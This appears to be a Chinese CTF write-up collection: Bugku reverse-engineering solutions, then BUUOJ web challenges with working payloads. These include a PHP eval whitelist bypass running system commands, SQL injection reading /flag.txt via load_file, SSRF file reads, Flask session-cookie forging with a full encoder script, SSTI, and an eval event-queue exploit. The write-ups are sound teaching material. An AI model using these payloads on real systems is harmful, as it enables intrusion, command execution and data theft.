BUUOJ平臺 Web

語言: CN / TW / HK

0x1 入門逆向

Bugku入門逆向

拿到檔案先執行一下

ida開啟檢視main函式

發現一堆ASCII,按r轉成字串,得到flag。

flag{Re_1s_S0_C0OL}

0x2 Easy_Re

Bugku Easy_Re

簡單執行程式後ida直接搜尋關鍵字“DUTCTF”,找到flag

DUTCTF{We1c0met0DUTCTF}

0x3 遊戲通關

Bugku 遊戲通關

這個我用OD除錯了很久,各種找call,後來突然就悟了,一開始的思路有問題。

首先開啟看一下,是個小遊戲,應該是通關了就給flag,既然這樣那用OD開啟,首先中文搜尋查詢關鍵字。

找到關鍵字,進入函式

只在函式開頭檢視呼叫樹,找到函式呼叫的上一層。

繼續往上找,通過除錯找到輸入字串的地方,直接把下一條jmp到呼叫給出flag call的位置,執行程式得到flag。

zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}

0x4 Easy_Vb

Bugku Easy_Vb

OD開啟直接中文搜尋

這裡還要把前邊MCTF換成flag,無語

flag{ N3t_Rev_1s_E4ay }

0x5 樹木的小祕密

拿到檔案執行,用OD載入提示不是有效的PE檔案,ida載入也沒找到什麼東西,最後看了眼提示說是pyinstaller編譯的,github上找到一個py指令碼,解壓打包檔案

裡面有個123檔案,開啟找到flag,base64編碼

github解壓指令碼連結https://github.com/countercept/python-exe-unpacker

flag{my_name_is_shumu}

0x6 馬老師防毒衛士

Bugku 馬老師防毒衛士

還是拿到題目執行一下,嗯 神奇的軟體,丟到ida裡看一下。

直接shift+f12搜尋字串,找到一串很像flag的

一看就是做了位移,試下柵欄,3次,解出flag

flag{ma_bao_guo_nb!}

0x7 NoString

BugKu  NoString

執行一下讓輸入flag,本來想用OD開啟直接動態除錯繞過的,但是沒找到正確flag的字串,然後想一下題目名字nostring好像用OD不行了,直接ida開啟找到main函式分析一下。

虛擬碼如下

int wmain()
{
signed int v0; // ecx
signed int i; // eax
signed int v2; // ecx
signed int j; // eax
int k; // eax
int v5; // eax
signed int v6; // ecx
signed int m; // eax
signed int v8; // ecx
signed int n; // eax
char v11; // [esp+0h] [ebp-18h] BYREF
__int128 v12; // [esp+1h] [ebp-17h]
__int16 v13; // [esp+11h] [ebp-7h]


v0 = strlen(Format);
for ( i = 0; i < v0; ++i )
Format[i] ^= 9u;
printf("yelhzl)`gy|})|)oehnl3");
v11 = 0;
v13 = 0;
v12 = 0i64;
v2 = strlen(a80z);
for ( j = 0; j < v2; ++j )
a80z[j] ^= 9u;
scanf(a80z, &v11);
for ( k = 0; k < 19; ++k )
*(&v11 + k) ^= 9u;
v5 = strcmp(&v11, aOehnl3rHfCcgpt);
if ( v5 )
v5 = v5 < 0 ? -1 : 1;
if ( v5 )
{
v6 = strlen(aLF);
for ( m = 0; m < v6; ++m )
aLF[m] ^= 9u;
printf("l{{f{");
}
else
{
v8 = strlen(aNa);
for ( n = 0; n < v8; ++n )
aNa[n] ^= 9u;
printf("{`na}");
}
printf("\r\n");
system("pause");
return 0;
}

這裡通過分析虛擬碼可知,程式裡面的所有字串都和9進行了xor,這樣把與輸入字串進行比較的字串和9xor得到flag

str = 'oehnl3r=<?=hF@CCGPt'
str1 = ''
for i in str:
str1 += chr(ord(i) ^ 9)
print(str1)

得到flage:{4564aOIJJNY}

flag{4564aOIJJNY}

0x8 ez fibon

Bugku ez fibon

拿到還是先執行一下

查殼發現UPX壓縮殼

使用UPX解壓縮

這裡本來想用OD動態除錯的,不知道為啥一執行完程式就退出了,下斷點也不行,沒辦法只能用IDA來看了。

已經脫完殼了,直接找到主函式,F5檢視虛擬碼。

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v5[24]; // [rsp+20h] [rbp-60h]
char Str[524]; // [rsp+80h] [rbp+0h] BYREF
int j; // [rsp+28Ch] [rbp+20Ch]
int v8; // [rsp+290h] [rbp+210h]
int v9; // [rsp+294h] [rbp+214h]
int i; // [rsp+298h] [rbp+218h]
int v11; // [rsp+29Ch] [rbp+21Ch]


_main();
v11 = 1;
puts("please input your flag:");
gets(Str);
for ( i = 0; i <= 21; ++i )
*(_DWORD *)&Str[4 * i + 112] = Str[i];
if ( strlen(Str) == 22 )
{
v9 = 1;
v8 = 1;
for ( j = 0; j <= 21; ++j )
{
if ( (j & 1) != 0 )
{
v8 += v9;
v3 = (v8 + j + *(_DWORD *)&Str[4 * j + 112]) % 64 + 64;
}
else
{
v9 += v8;
v3 = (v9 + j + *(_DWORD *)&Str[4 * j + 112]) % 64 + 64;
}
*(_DWORD *)&Str[4 * j + 112] = v3;
}
v5[0] = 100;
v5[1] = 121;
v5[2] = 110;
v5[3] = 118;
v5[4] = 70;
v5[5] = 85;
v5[6] = 123;
v5[7] = 109;
v5[8] = 64;
v5[9] = 94;
v5[10] = 109;
v5[11] = 99;
v5[12] = 116;
v5[13] = 81;
v5[14] = 109;
v5[15] = 86;
v5[16] = 83;
v5[17] = 126;
v5[18] = 119;
v5[19] = 101;
v5[20] = 110;
v5[21] = 114;
for ( j = 0; j <= 21; ++j )
{
if ( v5[j] != *(_DWORD *)&Str[4 * j + 112] )
v11 = 0;
}
if ( !v11 )
printf("wrong!");
if ( v11 == 1 )
printf("right flag!");
}
else
{
printf("wrong lenth!");
}
return 0;
}

簡單看下程式碼的思路,是通過輸入一個22位長的字串作與v5做對比,正確就會輸出"right flag!"

v5是加密後後的字串,這裡有個問題就是逆向回去有多個解,但只有一個解是正確的,而虛擬碼裡面都是取餘在加上64,所以判斷解是在65-127之間,通過指令碼解出flag

void Test(){
int v9 = 1;
int v8 = 1;
int v3 = 0;
int Str[200]= {0};
int v5[22] = {100,121,110,118,70,85,123,109,64,94,109,99,116,81,109,86,83,126,119,101,110,114};


for (int j=0; j<22; j++){
if ((j & 1) != 0){
v8 += v9;
Str[j] = v5[j] - 64 - j -(v8 % 64);
}
else{
v9 += v8;
Str[j] = v5[j] - 64 - j -(v9 % 64);
}


if(Str[j] < 0){
Str[j] += 128;
}
else if(Str[j] < 64){
Str[j] += 64;
}
printf("%c",Str[j]);
}
}

bugku{So_Ez_Fibon@cci}

0x9 特殊的Base64

Bugku 特殊的Base64

拿到題目執行一下,丟到ida裡,直接看到一串base64,還有一串碼錶

自定義base64,線上解密網站

flag{Special_Base64_By_Lich}

0x10 不好用的ce

Bugku 不好用的ce

開啟執行程式這裡提示需要點選一萬次就能得到flag,可以直接用按鍵精靈直接點他一萬次

這裡我們不用按鍵精靈,使用ida開啟,發現一串字串。

一開始以為是base64,後來發現解不出來,看了看評論說是base58,線上解密得到flag

這道題目用OD也可以,直接搜尋中文字串,找到關鍵點下斷點,然後一步步除錯,在0x401E24處發現一個跳轉,用NOP填充,然後執行也可以。

flag{c1icktimes}

[BSidesCF 2020]Hurdles

提示了要越過一些/hurdles,訪問/hurdles

要PUT方法訪問,抓包改PUT

路徑要以!結尾

提示請求中沒有get和flag欄位,要我們傳參?get=flag

需要傳一個引數&=&=&,url編碼後就是%26%3D%26%3D%26

加一個&%26%3D%26%3D%26=1

要求&=&=&的值等於%00,仔細注意少了一個單引號

%00後還有一個換行符

%00(換行)url編碼:%2500%0a

要求是username使用者才可以,Authorization請求欄位可能跟這個有關

翻筆記,Authorization的格式為:Basic 密文(密文格式是 使用者:密碼)

base64加密一下player:abc(密碼沒要求隨便輸一個)加密後是Basic cGxheWVyOmFiYw==放到authorization裡

提示密碼為字串open sesame的十六進位制MD5值,去加密網站加密,是54ef36ec71201fdf9d1423fd26f97f6b

player:54ef36ec71201fdf9d1423fd26f97f6b拿去base64加密

加密後是cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi

提示瀏覽器必須是1337瀏覽器

修改User-Agent為1337

要求瀏覽器版本是v.xxxx,還要比9000高

提示對不起,希望來自某個人?既然提到了Forwarded-For,那基本只能是x-forwarded-for: 127.0.0.1

希望來自另一個代理

查了一下用xff頭表示使用代理,只要連寫兩個ip,前面那個就表示代理

x-forwarded-for: 1.2.3.4 ,127.0.0.1

要求代理是13.37.13.37

需要一個Fortune Cookie,Fortune應該是cookie的欄位

看不懂了翻譯一下,說是希望cookie包含2011年的HTTP cookie(狀態管理機制)RFC的編號

直接百度搜RFC文件,然後把時間調到2011找cookie,找到編號是6265

只接受純文字(MIME)形式的請求,用Accept欄位,text/plain就是純文字

俄語。。。拿去翻譯

繼續去找http請求欄位

俄語是ru

說是希望和origin: https://ctf.bsidessf.net共享檔案資源

注意這裡不是referer(標識請求當前頁面的上一個頁面),因為提到了共享,共享的話一般就是跨域資源共享

他說原以為我會被https://ctf.bsidessf.net/challenges?請求

現在是referer了

拿到flag

[CISCN 2019 初賽]Love Math

進入之後直接給了原始碼:

<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字元");
}
}
//常用數學函式http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函式");
}
}
//幫你算出答案
eval('echo '.$content.';');

先是三層過濾,長度引數c長度不允許超過60,然後是過濾一些字元,然後是設定一個白名單,裡面是一些數學運算的函式,然後eval執行我們get傳承的算式,然後就會幫我們計算

這裡涉及一個動態(可變)函式:如果一個變數名後有(),PHP 將尋找與變數的值同名的函式並嘗試執行

base_convert() 函式:在任意進位制之間轉換數字。

dechex() 函式:把十進位制轉換為十六進位制。

hex2bin() 函式:把十六進位制值的字串轉換為 ASCII 字元。

這題的一種payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})π=system&abs=tac flag.php

base_convert(37907361743,10,36) 執行結果是hex2bin

傳入頁面原始碼裡就是:

  eval('echo ';$_GET{pi}($_GET{abs})';');

然後&pi=system&abs=tac flag.php傳入進去就是

eval('echo ';system('tac flag.php')';');

另外還有一種解法是用利用異或得到函式名和命令

參考他人的fuzz指令碼:

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "
";
}
}
}

會產生這樣的payload

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>

[CISCN2019 華北賽區 Day1 Web5]CyberPunk

一個提交訂單頁面

輸入資訊後就是簡單的提交成功

再就是查詢頁面

推測可能有二次注入,試了一下發現好像並沒有

檢視網頁原始碼,有一個file提示

可能是偽協議file可以用,直接讀一下flag.php什麼也沒讀到,換成flag.txt也沒有,不過訪問flag.txt倒是有響應,只不過看不到內容,說明有flag.txt

讀取本頁面的原始碼看看

讀取成功

再把網頁原始碼裡其他的頁面原始碼也都獲取一下

index.php,主頁,主要是檔案包含

<?php


ini_set('open_basedir', '/var/www/html/');


// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!--?file=?-->

confrim.php,主要是將我們填寫的資訊放入資料庫,只對username和phone有過濾

<?php


require_once "config.php";
//var_dump($_POST);


if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}


if($fetch->num_rows>0) {
$msg = $user_name."已�交订�";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订��交��";
}
} else {
$msg = "ä¿¡æ�¯ä¸�å
¨";
}
?>

serach.php 查詢訂單資訊,傳入username和phone

<?php


require_once "config.php";


if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}


if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>��:".$row['user_name']."</p><p>, ��:".$row['phone']."</p><p>, ��:".$row['address']."</p>";
} else {
$msg = "���订�!";
}
}else {
$msg = "ä¿¡æ�¯ä¸�å
¨";
}
?>

change.php 修改地址,仍然只過濾username和phone,不過不同的是這裡會將address代入查詢,所以可以在這裡注入

<?php


require_once "config.php";


if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}


if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订�修���";
} else {
$msg = "���订�!";
}
}else {
$msg = "ä¿¡æ�¯ä¸�å
¨";
}
?>

delete.php,刪除,過濾同上,就不看了

在修改地址頁面嘗試注入

分析sql語句

"update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$row = $fetch->fetch_assoc();
.........
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);

所以是先查詢和username,phone,得到user_id和address

然後更新address欄位為新輸入的address,old_address為原來的address也就是在提交訂單頁面輸入的address

只要在提交時構造sql注入語句,再在修改時輸入一樣的username和phone就可以執行語句了,然後嘗試直接用load_file讀取flag.php,最後查詢完會報錯,可以用報錯注入回顯

payload

1' where user_id=extractvalue(1,concat('~',(select substr(load_file('/flag.txt'),1,100)),'~'))#

然後這些xml的函式都最多顯示32位

再查後半段

1' where user_id=extractvalue(1,concat('~',(select substr(load_file('/flag.txt'),20,100)),'~'))#

[CISCN2019 華東南賽區]Web4

有個連結,點進去看看

會引用外部url,這個時候一般可以用file讀取一下

讀取失敗,可能不是php,再試一下其他讀取檔案的方式

搜了一下發現local_file///可以用,是flask的框架

flask的框架裡一般有一個app/app.py裡面會存放路由資訊

讀取一下

?url=local_file:///app/app.py

# encoding:utf-8 
import re, random, uuid, urllib
from flask import Flask, session, request


app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True


@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'


@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'


@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'


if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

先生成一個金鑰,然後如果session中的username欄位等於fuck,那麼就直接輸出flag的內容,所以我們需要先將當前的session解密,然後將其中的username欄位改一下,然後再根據拿到的secret_key加密,就可以用偽造的session訪問到flag

裡面有一個SECRET_KEY的生成方式,獲取主機的mac地址然後轉化成整數,根據這個整數生成一個隨機數再*233就是SECRET_KEY

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

random是偽隨機數,只要生成的依據一樣,隨機數就一定一樣,所有需要拿到mac地址

讀一下linux預設存放mac地址的檔案

?url=local_file:///sys/class/net/eth0/address

拿到mac地址是 e2:c3:e6:1f:a4:87

再用app原始碼中生成SECRET_KEY的方式再生成一遍

用session解密指令碼解一下當前的session

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)


decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True


try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')


if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')


return session_json_serializer.loads(payload)


if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

然後將username改為fuck再加密

網上找個session加密指令碼

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'


# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast


# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod


# Lib for argument parsing
import argparse


# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):


def __init__(self, secret_key):
self.secret_key = secret_key




if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)


session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e




def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value


if payload.startswith('.'):
compressed = True
payload = payload[1:]


data = payload.split(".")[0]


data = base64_decode(data)
if compressed:
data = zlib.decompress(data)


return data
else:
app = MockApp(secret_key)


si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)


session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e




def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value


if payload.startswith('.'):
compressed = True
payload = payload[1:]


data = payload.split(".")[0]


data = base64_decode(data)
if compressed:
data = zlib.decompress(data)


return data
else:
app = MockApp(secret_key)


si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e




if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")


## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')


## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)


## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)


## get args
args = parser.parse_args()


## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

然後修改瀏覽器session就可以訪問flag檔案了

[CISCN2019 總決賽]Flask Message Board

右邊可以輸入文章,輸入完之後直接在下面新增

估計又是flask的模板注入

但是輸入某些內容就會提示拒絕

輸入7+7直接顯示在了上面,顯示的是Auhor的內容,注入點大概就是這裡了

檢視一下{{handler.settings}}

訪問失敗,然後再試一下{{config}}

變數裡有一個SECRET_KEY,又是session偽造

指令碼跑一下

然後登進來之後可以上傳東西的頁面

Todo: add /admin/model_download button 
<a href="/admin/source_thanos">Open Source</a>


zip file with detection.meta detection.index detection.data-00000-of-00001 3 TensorFlow(1.12) files!


The model need x:0 to input a number , and y:0 to output the result "Human" or "Bot"

看不懂這個,搜了一下wp,訪問/admin/model_download可以把模型下載下來

然後/admin/source_thanos裡面存放著原始碼:

在Content輸入一個長度為1024的字串,例如aaaaaabxCZC,即可看到flag。

[DDCTF 2019]homebrew event loop

第一個頁面裡有原始碼,然後後面就是買東西,消耗points可以買diamonds

然後檢視一下第一個頁面的原始碼

from flask import Flask, session, request, Response
import urllib


app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'




def FLAG():
return '*********************' # censored




def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)




def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack




class RollBackException:
pass




def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled.
'
resp += '<a href="./?action:view;index">Go back to index.html</a>
'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp




@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()


# handlers/functions below --------------------------------------




def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.
'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a>
'
html += '<a href="./?action:view;shop">Go to e-shop</a>
'
html += '<a href="./?action:view;reset">Reset</a>
'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a>
'
elif page == 'reset':
del session['num_items']
html += 'Session reset.
'
html += '<a href="./?action:view;index">Go back to index.html</a>
'
return html




def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':


source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a>
'
html += '<a href="./?action:view;index">Go back to index.html</a>
'


for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '
')
else:
html += line
source.close()


if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')




def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])




def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume




def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;)
'




def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')




if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

有一個show_flag()函式,註釋提示我們這個方法會return flag,不過這個方法被禁用了,所以要想辦法執行他

最後的get_flag_handler(args)函式中有trigger_event('func:show_flag;' + FLAG())方法,需要session的num_items欄位大於等於5,然後就會執行trigger_event()函式

看一下這個函式

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

在session['log']中新增內容,也就是會把trigger_event('func:show_flag;' + FLAG()) 新增到session['log']裡面,來記錄函式的呼叫,會執行show_flag

現在只要讓num_items大於等於5就可以了,看一下相關函式

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

num_items如果小於等於0就返回沒有鑽石賣了,然後不管num_items還有沒有了,session中的num_items欄位就加上當前num_items的數量,然後trigger_event()執行consume_polint函式

consume_polint函式:

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume

session裡的points小於要買的num_items數量,就回滾,把前面session中加的當前的num_items再減掉

所以是先執行,再判斷,不夠就返回執行的狀態

這時我們就可以想辦法讓num_items在被減掉之前執行get_flag_handler(),然後就可以用3個polint來買5個num_polint

然後execute_event_loop()函式裡面有這樣一部分程式碼:

def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

這裡會檢查event_queue佇列,並且提示了這個佇列的格式# event is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"

然後後面檢查格式action:函式#;action:函式#......,之後放到eval裡面批量執行

我們可以讓eval()去依次執行trigger_event(),buy_handler(),get_flag_handler(),這時consume_point_function()就會在get_flag_handler()之後 ,就可以在回滾之前就讓num_items等於5並且進入判斷並執行trigger_event('func:show_flag;' + FLAG())

payload:

action:trigger_event%23;action:buy;5%23action:get_flag;

